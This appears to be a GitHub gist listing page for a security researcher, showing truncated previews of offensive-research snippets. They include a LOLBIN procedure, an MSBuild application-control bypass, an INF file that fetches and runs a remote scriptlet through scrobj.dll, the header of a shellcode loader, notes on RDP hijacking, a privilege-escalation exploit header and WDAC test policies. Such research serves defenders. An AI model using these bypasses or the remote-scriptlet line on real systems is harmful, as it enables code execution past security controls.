Skip to content

Instantly share code, notes, and snippets.

@bohops
bohops / gist:31d312588faac1339ee4c34d2168cc8a
Created September 27, 2026 23:00
Force Docker published ports onto loopback interface
# Force Docker published ports onto loopback interface
Docker’s default is insecure on purpose: `-p 8080:80` publishes on
`0.0.0.0` and usually `[::]`. That is every interface, including the LAN
and any public NIC.
Loopback (`127.0.0.1`) means only the host can connect. Other machines
cannot reach the port unless you add a tunnel or proxy.
Inside the container, the app can still listen on `0.0.0.0`. That is
@bohops
bohops / AccCheckConsole.txt
Last active May 28, 2026 23:13
AccChecker LOLBIN [AccCheckConsole.exe]
*Purpose
- UI Accessibility Checker
- Verifies UI accessibility requirements
*LOLBIN Functionality/Steps
1) Go to "Custom Verification Routines" link in reference section and copy the sample verification C# code into Visual Studio.
2) Add proper assembly references (e.g. AccCheck.dll)
3) Insert your C# code under a target method such as Execute()
4) Compile to a .NET managed library (DLL)
5) Invoke the code
<!-- dotnet.exe msbuild rosylyn_poc.csproj -->
<!-- WDAC/AWL Bypass with Dot Net Core (2.2.x) MSBuild (16.x) and the Rosyln Compiler -->
<Project DefaultTargets="Build">
<UsingTask TaskName="HelloWorld" TaskFactory="RoslynCodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll">
<Task>
<Code Type="Fragment" Language="cs">
<![CDATA[Console.WriteLine($":-) CSHARP :-)");]]>
</Code>
</Task>
</UsingTask>
[version]
signature="$CHICAGO$"
AdvancedINF=2.0
[DefaultInstall.Windows7]
UnRegisterOCXs=FunRun
[FunRun]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct
@bohops
bohops / Dynamic_PInvoke_Shellcode.cs
Last active July 17, 2025 13:33
Dynamic_PInvoke_Shellcode.cs
//original runner by @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs
using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Reflection.Emit;
namespace ShellcodeLoader
{
class Program
RDP Eavesdropping and Hijacking
*******************************
I spent some time this evening looking at ways to eavesdrop and hijack RDP sessions. Here is a gist of (semi) interesting findings
that is not very new...
===========
Inspiration
===========
As you may already know...
@bohops
bohops / CVE-2023-33127.cs
Last active June 12, 2024 09:41
CVE-2023-33127: .NET Cross-Session Privilege Escalation Exploit
// CVE-2023-33127 POC Exploit: .NET Cross-Session Privilege Escalation
// Ref: https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Diagnostics;
using System.Security.Principal;
using System.IO.Pipes;
using System.IO;
@bohops
bohops / Deploy-EnforcedWDACScanPolicy.ps1
Last active May 17, 2024 01:05
Restrictive (with caveats) WDAC Policy for research purposes
Write-Host "
==============================================================================================================================
*Deploy an Enforced 'Scan' Windows Defender Application Control (WDAC)/Device Guard Policy with Code Integrity (UMCI)
*Focus: Permit signed applications at the PCACertificate level (e.g. Microsoft signed).
*For Testing on Windows 10/11 Business/Enterprise - Downloads and merges the WDAC Bypass Rules with a scan policy
*System reboots when PowerShell script finishes
*Run as a privileged user in high integrity
*To remove enforcement, comment out enforce line
[JS File]
function setversion() {
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
@bohops
bohops / Deploy-EnforcedWDACDefaultPolicy.ps1
Created March 22, 2024 01:38
Restrictive WDAC Policy for research purposes
Write-Host "
==============================================================================================================================
*Quickly Deploy an Enforced Windows Defender Application Control (WDAC)/Device Guard Policy with Code Integrity (UMCI)
*Focus: Permit Windows signed applications (e.g. what comes with the OS).
*For Testing on Windows 10/11 Business/Enterprise - Downloads and merges the WDAC Bypass Rules with the Default Enforced Rules
*System reboots when PowerShell script finishes
*Run as a privileged user in high integrity
*To remove enforcement, comment out enforce line
==============================================================================================================================